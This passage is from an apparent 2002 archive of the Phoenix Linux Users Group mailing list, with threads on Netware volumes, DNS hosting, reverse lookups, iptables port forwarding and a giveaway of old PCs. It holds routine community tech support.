GNU/Linux file systems and such. It is not free, > but neither is M$ Windows (so I assume you dont have a problem with > that) and it is by far the best way to 'suffer' M$ while not having to > 'leave' a real operating system. > > -Derek > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 00:47:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 17:47:16 -0700 Subject: Thanks to PLUG Message-ID: <3CFC0E14.818DB567@qwest.net> I first got started in Linux due to my CSE200 professor at ASU (who is on the ASULUG list) because I needed to be able to write and debug C/C++ programs before turning them in on the General Unix servers. I got RH4.2 and put it on a P166 tower I had built. I moved on, going from version to version of Red Hat as new releases came out. With the help of PLUG I was able to setup a DEC Alpha Multia to act as a Firewall for my DSL connection, now the Cisco 675 is doing NAT in PPP mode (used to be in bridging mode). I've been dual booting my Panasonic Toughbook CF-25mkII between Win95/RedHat Linux and have slowly been learning enough that I have fewer reasons to boot into Windows (Starcraft still runs best under Win95 on my poor little P150 rather than in Wine). This weekend I wiped the linux partitions out and freshly installed RH7.3. PCMCIA didn't work (stupid Yenta Socket driver) and Xwindows wouldn't do more than 640x480 (stupid Xconfigurator). Thanks to past help I've gotten from everyone on this list I was able to build a new kernel and reconfigure X to do 1024x768. The longest part of the debug was rebuilding the kernel and pcmcia_cs packages. As a side benefit, the format and install actually helped me get my Orinoco Wireless card working under linux, so now I can use both Linux and Windows anywhere in the house. All this thanks to the help of others on this list. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 04:33:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Mon, 3 Jun 2002 21:33:00 -0700 Subject: Fwd: Re: Bundesregierung waehlt Linux Message-ID: <200206032133.00244.dennisk@sahuaro.f2s.com> My friend Wolfgang passed on this link (auf deutsch) that makes it clear that all levels of the German government will be using Linux. I'm sure M$ will be watching this v-e-r-y closely. Dennis Kibbe ---------- Forwarded Message ---------- Hallo Dennis, das bedeutet natürlich, das alle Behörden und Ämter auch Linux bekommen. Ein dicker Brocken! http://www.tagesschau.de/aktuell/meldungen/0,2044,OID812742,00.html Wolfgang ------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 04:42:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Mon, 3 Jun 2002 21:42:48 -0700 Subject: Modem connects but can't surf Message-ID: <200206032142.48801.dennisk@sahuaro.f2s.com> I've been trying to troubleshoot a problem on a friend's Toshiba laptop loaded with SuSE 8.0 PPP will make a dialup connection to his ISP, Earthlink, but Konqueror doesn't seem to recongnise that a connection to the Internet is there. At Bill Lindley's suggestion I had him do a "route add default ppp0" thinking that the default route was set to eth0. The modem is a Xircom ethernet/modem combo PCMCIA card. No luck. Where else should I be looking? What logs should I ask him to e-mail me? Vielen dank im Voraus fuer einige Hinweise, Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 05:01:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 00:01:58 -0500 Subject: Modem connects but can't surf In-Reply-To: <200206032142.48801.dennisk@sahuaro.f2s.com>; from dennisk@sahuaro.f2s.com on Mon, Jun 03, 2002 at 09:42:48PM -0700 References: <200206032142.48801.dennisk@sahuaro.f2s.com> Message-ID: <20020604000158.B5898@lilly.csoft.net> What is the output of 'ifconfig' and something like 'netstat -nr'? On Mon, Jun 03, 2002 at 09:42:48PM -0700, Dennis Kibbe wrote: I've been trying to troubleshoot a problem on a friend's Toshiba laptop loaded with SuSE 8.0 PPP will make a dialup connection to his ISP, Earthlink, but Konqueror doesn't seem to recongnise that a connection to the Internet is there. At Bill Lindley's suggestion I had him do a "route add default ppp0" thinking that the default route was set to eth0. The modem is a Xircom ethernet/modem combo PCMCIA card. No luck. Where else should I be looking? What logs should I ask him to e-mail me? Vielen dank im Voraus fuer einige Hinweise, Dennis Kibbe ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 12:42:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 05:42:49 -0700 Subject: Sending out press release - final Message-ID: <200206040542.49248.dennisk@sahuaro.f2s.com> Just checking that the version up on the PLUG site is the final, best-ever, unanimously approved version. If so, I'll get it out to the media contacts that Jim sent me. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 12:56:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Tue, 4 Jun 2002 05:56:26 -0700 Subject: Taiwan follows Germany's lead Message-ID: <200206040556.26537.dennisk@sahuaro.f2s.com> Taiwan is also starting a Free Software initiative naming high license fees, security and to "increase the independence of the IT industry" as driving reasons. The store in english is here: http://www.kuro5hin.org/story/2002/6/3/55433/41738 Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 14:09:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 4 Jun 2002 07:09:37 -0700 (MST) Subject: Sending out press release - final In-Reply-To: <200206040542.49248.dennisk@sahuaro.f2s.com> Message-ID: Am 04. Jun, 2002 schwätzte Dennis Kibbe so: > Just checking that the version up on the PLUG site is the final, best-ever, > unanimously approved version. If so, I'll get it out to the media contacts > that Jim sent me. The URL: http://www.plugpresents.com/installfest/ My suggestions haven't been incorporated. ciao, der.hans -- # https://www.LuftHans.com/ # Motorraeder toeten nicht. Motorraeder werden getoetet. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 14:56:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Todd Hought) Date: Tue, 4 Jun 2002 07:56:13 -0700 (MST) Subject: eBay Listing In-Reply-To: <200206032151.RAA16097@hostinworld6.com> Message-ID: Wow, Linux 8.2? is that the kernel version? or just a rubber stamp that Linus uses when he gives his seal of approval to every boxed copy of linux in the world? ANyhew, I would probably cut the seller some slack, he's from Nebraska, which certainly explains a lot. :-) *grin* On 3 Jun 2002, Bryce C. wrote: > This is the sort of thing that gives linux a bad rep or confuses people > about linux. Just look at the category it's under! I'm not saying the > entire listing is wrong or bad but the top part is misleading to the > inexperienced. > > http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 > > Just My Little Vent, > Bryce C. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 15:10:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 4 Jun 2002 08:10:11 -0700 Subject: mounting novell volumes In-Reply-To: <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> References: <200206031058.52521.plug@the-arcanum.org> <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> Message-ID: <200206040810.16001.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The server boots okay, the sys volume is a 2gb partition, and it has almost 6 meg of free space.. The people who use this know nothing about novell, neither does their company, and neither do I. THis is netware 3.12 It boots, takes about 15-20 minutes to mount the sys volume, but I can't get any workstations to acknowledge it. We want to switch them over to a small win98 machine that can do just file serving, but need the css data (from the hotel reservation system) before we can do anything. I'lll look at some of those free tools, thanks a lot Steve. nathan Am Montag 03 Juni 2002 02:09 nachmittags schrieb foodog: > Nathan, I haven't heard of a non-Netware method of mounting Netware > volumes. Is the server unbootable? FWIW, the best non-Novell tools for > Netware that I know of come from: > http://www.PortlockSoftware.com - > http://www.ontrack.com - > http://www.jrbsoftware.com -- large number of "free" utils plus more > that cost. > > Of course, searching through support.novell.com and developer.novell.com > yields lots of free tools and info. > > BTW, if the server *isn't* toasted and you're running NW 5.x or 6 > there's support for NFS > > Could you elaborate on the situation? > Steve > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I booted up a novell machine using a bbc cd and I need to mount the > > novell volume (/dev/hda2) onto the tree so I can export it. > > The fdisk info says it is id 65 Novell Netware 386 > > > > Does anyone know how I can mount that? I tried the ncpfs module, but it > > doesn't work. > > > > nathan > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > > 5V5D6ElmVvifCzrLPF8nRyM= > > =d4n0 > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8/NhXQ7yNnsYcupwRAgZoAJ9kVBz4fRJNSXb6Y2iebZYkY8uYXQCgqBXa 1Fo55C8NyzarP66Nlw65dmQ= =u9LP -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:24:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Tue, 4 Jun 2002 09:24:49 -0700 Subject: DNS services Message-ID: <005901c20be4$5a0a7900$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Has anyone used a DNS service, such as ZoneEdit, to manage DNS service = for multiple domains, aprox 50, that also have multiple servers on each = domain such as www.xyz.com, info.xyz.com etc.=20 The fellow that owns the company where I work is currently using bind on = a server he administers, but is looking for an easier way. I don't know = if this matters, but he is running several servers running RedHat 7.2, 1 = SCO unix box and on BSD box, no microsoft servers. Regards, Charlie ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Has anyone used a DNS service, such as = ZoneEdit, to=20 manage DNS service for multiple domains, aprox 50, that also have = multiple=20 servers on each domain such as www.xyz.com,=20 info.xyz.com etc.
 
The fellow that owns the company where = I work is=20 currently using bind on a server he administers, but is looking for an = easier=20 way. I don't know if this matters, but he is running several servers = running=20 RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft = servers.
 
Regards,
 
 
Charlie
------=_NextPart_000_0056_01C20BA9.ACBEA8F0-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 16:47:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Terence Chang) Date: Tue, 4 Jun 2002 09:47:52 -0700 (PDT) Subject: DNS services In-Reply-To: <005901c20be4$5a0a7900$6400a8c0@amd1000> Message-ID: <20020604164752.74823.qmail@web9902.mail.yahoo.com> Have you check out the www.powerdns.com? The provide some easy interface... It's free for less then 5 domains. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 17:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Tue, 4 Jun 2002 13:34:51 -0400 Subject: DNS services Message-ID: <20020604173453.FMJM8234.lakemtao06.cox.net@smtp.central.cox.net> This is a multi-part message in MIME format. ------=____1023212091623_YJJpr3s6Rn Content-Type: text/plain; charset=ISO8859_1 Content-Transfer-Encoding: 7bit I'm using zoneEdit for multiple domains on one box. Working really well. I"m not *really* doing multiple "servers" (I don't think this term is correct) on any of the domains but I've seen the option on the Edit Zone section of zoneEdit so I wouldn't think you'd have a problem. Plus ZoneEdit is free for the first five zones. Carl P. ============================================================ From: "Charlie Bullen" Date: 2002/06/04 Tue PM 12:24:49 EDT To: Subject: DNS services Has anyone used a DNS service, such as ZoneEdit, to manage DNS service for multiple domains, aprox 50, that also have multiple servers on each domain such as www.xyz.com, info.xyz.com etc. The fellow that owns the company where I work is currently using bind on a server he administers, but is looking for an easier way. I don't know if this matters, but he is running several servers running RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft servers. Regards, Charlie ============================================================ ------=____1023212091623_YJJpr3s6Rn Content-Type: text/html; name="reply" Content-Disposition: inline; filename="reply"
Has anyone used a DNS service, such as ZoneEdit, to manage DNS service for multiple domains, aprox 50, that also have multiple servers on each domain such as www.xyz.com, info.xyz.com etc.
 
The fellow that owns the company where I work is currently using bind on a server he administers, but is looking for an easier way. I don't know if this matters, but he is running several servers running RedHat 7.2, 1 SCO unix box and on BSD box, no microsoft servers.
 
Regards,
 
 
Charlie
------=____1023212091623_YJJpr3s6Rn-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 17:46:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Tue, 4 Jun 2002 13:46:37 -0400 Subject: More iptables questions Message-ID: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Thank you all for you help with iptables. Now a new question. If you want to do port forwarding do you have to accept it on the INPUT chain?? So in syntax I think what I'm asking is this if I do iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 (syntax may be a little off I'm trying to do this "on the fly") do I need to add this to the rules? iptables -A INPUT -p tcp -dport 8081 -j ACCEPT So far I've tried both and haven't gotten it to work but while debugging I thought I would find out how it *should* be working. Thanks, From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 18:29:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Tue, 4 Jun 2002 11:29:13 -0700 Subject: DNS services In-Reply-To: <200206041905.g54J5I231273@PlugList.MyButt.Net> References: <200206041905.g54J5I231273@PlugList.MyButt.Net> Message-ID: <20020604112913.5f20d28d.robert_a_klahn@fastmail.fm> If you want to try and keep this in-house, you should check out DNSTools http://dnstools.com/ Bob. On Tue, 4 Jun 2002 12:05:18 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > Message: 1 > From: "Charlie Bullen" > To: > Subject: DNS services > Date: Tue, 4 Jun 2002 09:24:49 -0700 > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > This is a multi-part message in MIME format. > > ------=_NextPart_000_0056_01C20BA9.ACBEA8F0 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > Has anyone used a DNS service, such as ZoneEdit, to manage DNS service > = for multiple domains, aprox 50, that also have multiple servers on > each = domain such as www.xyz.com, info.xyz.com etc.=20 > > The fellow that owns the company where I work is currently using bind > on = a server he administers, but is looking for an easier way. I > don't know = if this matters, but he is running several servers > running RedHat 7.2, 1 = SCO unix box and on BSD box, no microsoft > servers. > > Regards, > > > Charlie > -- Robert A. Klahn robert_a_klahn@fastmail.fm <======== New Email address AIM: rklahn Yahoo Messenger: klahn IRC: rklahn@irc.openprojects.net "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." - St. Augustine From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:10:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 04 Jun 2002 14:10:56 -0700 Subject: Reverse DNS lookup Message-ID: <3CFD2CE0.50208@esaravana.com> Hello, How to do reverse DNS lookup in intranet? I have the ip address and I want to get the dns name for the ip address. Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:22:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 4 Jun 2002 14:22:33 -0700 Subject: Reverse DNS lookup In-Reply-To: <3CFD2CE0.50208@esaravana.com> References: <3CFD2CE0.50208@esaravana.com> Message-ID: <200206041422.33592.voltage_spike@fastmail.fm> On Tuesday 04 June 2002 02:10 pm, Sundar wrote: > How to do reverse DNS lookup in intranet? I have the ip address and I > want to get the dns name for the ip address. host x.x.x.x It is included with bind-utils. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 4 Jun 2002 14:24:00 -0700 (PDT) Subject: Reverse DNS lookup In-Reply-To: <3CFD2CE0.50208@esaravana.com> Message-ID: host ip-address On Tue, 4 Jun 2002, Sundar wrote: > Hello, > > How to do reverse DNS lookup in intranet? I have the ip address and I > want to get the dns name for the ip address. > > Sundar > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:54:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Tue, 4 Jun 2002 14:54:41 -0700 (MST) Subject: More iptables questions In-Reply-To: <20020604174639.GZTT4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: On Tue, 4 Jun 2002, Carl Parrish wrote: > Thank you all for you help with iptables. > Now a new question. > If you want to do port forwarding do you have to accept it on the INPUT chain?? > So in syntax I think what I'm asking is this > if I do > iptables -A FORWARD -p tcp -i $ext -dport 8081 -j ACCEPT > iptables -t nat -A PREROUTING -s $FIREWALL -dport 8081 -j DNAT --to $WEBSERVER:80 If I remember the docs (netfilter.samba.org) you only need one of these rules. Drop the first rule (FORWARD) I think. INPUT, OUTPUT, FORWARD are all independant of each other in iptables. Use FORWARD only for packets heading through your machine. INPUT is for packets coming into localhost, OUTPUT is for packets going from localhost. Also forwarding is kernel level. The following command: $cat /proc/sys/net/ipv4/ip_forward 1 should give you 1. If it is 0, then that is your problem. There are a couple of places that you could stick that in startup scripts to keep it 1. Or just $cat "1">/proc/sys/net/ipv4/ip_forward every time you want forwarding on. HTH > > (syntax may be a little off I'm trying to do this "on the fly") > > do I need to add this to the rules? > > iptables -A INPUT -p tcp -dport 8081 -j ACCEPT > > So far I've tried both and haven't gotten it to work but while debugging > I thought I would find out how it *should* be working. > > Thanks, > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 21:50:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 4 Jun 2002 14:50:13 -0700 Subject: Old computers available tomorrow In-Reply-To: Message-ID: I just opened this post. Am I too late? I'm looking for computer donations to a licenced nonprofit recovery center in Prescott Arizona. It's now 2:50pm. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available tomorrow OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:07:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 4 Jun 2002 17:07:09 -0500 Subject: Old computers available tomorrow In-Reply-To: ; from mberkwitt@cox.net on Tue, Jun 04, 2002 at 02:50:13PM -0700 References: Message-ID: <20020604170709.A82140@lilly.csoft.net> Well, I snagged 5 around 9:30 this AM and I hear there were 3 folks before me :-) On Tue, Jun 04, 2002 at 02:50:13PM -0700, Mark Berkwitt wrote: I just opened this post. Am I too late? I'm looking for computer donations to a licenced nonprofit recovery center in Prescott Arizona. It's now 2:50pm. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:29 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available tomorrow OK, I think the best way for this to work is for anyone interested to stop by New Vision tomorrow between the hours of 9am and 5pm. At the front desk, ask for me, Matt Alexander. New Vision is located at 1920 E Broadway, halfway between McClintock and the 101 on the North side. First come, first serve. Thanks, ~M On Mon, 3 Jun 2002, Matt Alexander wrote: > How's $25 each sound? > > > On Mon, 3 Jun 2002, Jeff wrote: > > > How much are they askin? I might be interested. > > > > > > ----- Original Message ----- > > From: "Matt Alexander" > > To: > > Sent: Monday, June 03, 2002 3:01 PM > > Subject: Old computers available > > > > > > | I've got about 25 spare computers that my company is looking to sell or > > | donate to a good cause. > > | Here are the stats: > > | > > | Pentium 133Mhz > > | 64MB RAM > > | 1.3GB HD > > | 10Mb NIC > > | 1MB SVGA Video Card > > | > > | Linux installs fine on these computers and they could be put to a lot of > > | good use as a low-traffic web server, DNS server, mail server, router, > > | proxy, or even a thin-client for the Linux Terminal Server Project! :-) > > | Anyone interested? > > | Thanks, > > | ~M > > | > > | ________________________________________________ > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Tue, 04 Jun 2002 15:10:26 -0700 Subject: Old computers available tomorrow References: <20020604170709.A82140@lilly.csoft.net> Message-ID: <3CFD3AD2.8A95A4D8@leml.asu.edu> Mike wrote: > > Well, I snagged 5 around 9:30 this AM and I hear > there were 3 folks before me :-) I think I was #1 at 8:59am ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:20:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 4 Jun 2002 15:20:09 -0700 Subject: Old computers available In-Reply-To: Message-ID: Matt, I could use 4 or 5 for a woman's recovery center in Prescott Arizona. They'd be used for Internet use, creating resumes and individual writing. This center is a licensed nonprofit org which can provide donation receipts. Thanks. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt Alexander Sent: Monday, June 03, 2002 4:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available On Mon, 3 Jun 2002, Shawn Rutledge wrote: > Sounds OK to me. > > Do they have CD's floppies or anything else interesting? > What kind of video and network cards? Passive heatsinks or > fans? (Interesting for embedded use...) Ah, I forgot to mention that these do not have cdrom drives. Most are missing floppy drives. All have video cards that work with Linux (I'm too lazy to check the exact brand right now) and 10Mb network cards. The CPUs have fans. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 4 22:23:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Tue, 4 Jun 2002 15:23:35 -0700 Subject: Old computers available tomorrow References: Message-ID: <000e01c20c16$77884bb0$d701870a@jeffbarker> You can have the one I was going to get... I can't make it out there... :) ----- Original Message ----- From: "Mark Berkwitt" To: Sent: Tuesday, June 04, 2002 2:50 PM Subject: RE: Old computers available tomorrow | I just opened this post. Am I too late? I'm looking for computer donations | to a licenced nonprofit recovery center in Prescott Arizona. It's now | 2:50pm. | | -----Original Message----- | From: plug-discuss-admin@lists.plug.phoenix.az.us | [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Matt | Alexander | Sent: Monday, June 03, 2002 4:29 PM | To: plug-discuss@lists.plug.phoenix.az.us | Subject: Re: Old computers available tomorrow | | | OK, I think the best way for this to work is for anyone interested to stop | by New Vision tomorrow between the hours of 9am and 5pm. At the front | desk, ask for me, Matt Alexander. | New Vision is located at 1920 E Broadway, halfway between McClintock and | the 101 on the North side. First come, first serve. | Thanks, | ~M | | | On Mon, 3 Jun 2002, Matt Alexander wrote: | | > How's $25 each sound? | > | > | > On Mon, 3 Jun 2002, Jeff wrote: | > | > > How much are they askin? I might be interested. | > > | > > | > > ----- Original Message ----- | > > From: "Matt Alexander" | > > To: | > > Sent: Monday, June 03, 2002 3:01 PM | > > Subject: Old computers available | > > | > > | > > | I've got about 25 spare computers that my company is looking to sell | or | > > | donate to a good cause. | > > | Here are the stats: | > > | | > > | Pentium 133Mhz | > > | 64MB RAM | > > | 1.3GB HD | > > | 10Mb NIC | > > | 1MB SVGA Video Card | > > | | > > | Linux installs fine on these computers and they could be put to a lot | of | > > | good use as a low-traffic web server, DNS server, mail server, router, | > > | proxy, or even a thin-client for the Linux Terminal Server Project! | :-) | > > | Anyone interested? | > > | Thanks, | > > | ~M | > > | | > > | ________________________________________________ | > > | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail | doesn't | > > post to the list quickly and you use Netscape to write mail. | > > | | > > | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | > > | 